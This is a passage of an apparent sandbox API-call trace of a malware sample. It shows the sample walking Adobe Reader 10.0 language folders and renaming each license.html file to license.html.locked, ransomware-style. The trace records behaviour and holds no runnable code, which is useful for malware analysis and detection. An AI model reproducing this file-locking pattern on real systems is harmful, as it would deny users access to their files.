lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcdb20da0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcdb20da0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0071.712] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html.locked"), dwFlags=0x2) returned 1 [0071.715] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcdbb9320, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcdbb9320, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0071.773] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html.locked"), dwFlags=0x2) returned 1 [0071.775] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcdc518a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcdc518a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0071.824] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html.locked"), dwFlags=0x2) returned 1 [0071.835] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcdcc3cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcdcc3cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0071.906] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html.locked"), dwFlags=0x2) returned 1 [0071.908] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcdd823a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcdd823a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0071.957] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html.locked"), dwFlags=0x2) returned 1 [0071.968] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcde1a920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcde1a920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0072.087] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html.locked"), dwFlags=0x2) returned 1 [0072.092] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcdf4b420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcdf4b420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0072.191] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html.locked"), dwFlags=0x2) returned 1 [0072.193] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce02fc60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xce02fc60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0072.241] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html.locked"), dwFlags=0x2) returned 1 [0072.243] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce0c81e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xce0c81e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0072.289] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html.locked"), dwFlags=0x2) returned 1 [0072.292] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce13a600, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xce13a600, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0072.351] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html.locked"), dwFlags=0x2) returned 1 [0072.354] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce1d2b80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xce1d2b80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0072.407] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html.locked"), dwFlags=0x2) returned 1 [0072.410] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce244fa0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xce244fa0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0072.466] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html.locked"), dwFlags=0x2) returned 1 [0072.468] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce2dd520, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xce2dd520, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0072.741] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html.locked"), dwFlags=0x2) returned 1 [0072.744] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce58ade0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xce58ade0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0072.845] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html.locked"), dwFlags=0x2) returned 1 [0072.848] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce66f620, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xce66f620, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0072.927] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html.locked"), dwFlags=0x2) returned 1 [0072.929] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce72dd00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xce72dd00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0072.992] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html.locked"), dwFlags=0x2) returned 1 [0072.994] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce7ec3e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xce7ec3e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.044] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html.locked"), dwFlags=0x2) returned 1 [0073.046] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce85e800, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xce85e800, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.110] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html.locked"), dwFlags=0x2) returned 1 [0073.112] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce8f6d80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xce8f6d80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.354] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html.locked"), dwFlags=0x2) returned 1 [0073.359] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xceb58380, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xceb58380, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0073.364] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xceb58380, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xceb58380, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.368] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xceb7e4e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xceb7e4e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.372] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xceb7e4e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xceb7e4e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.376] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xceb7e4e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xceb7e4e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.380] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xceb7e4e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xceb7e4e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.383] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xceba4640, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xceba4640, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.387] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xceba4640, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xceba4640, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.391] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xceba4640, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xceba4640, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.394] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xceba4640, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xceba4640, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.397] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*", lpFindFileData=0x42a9b8 | out: 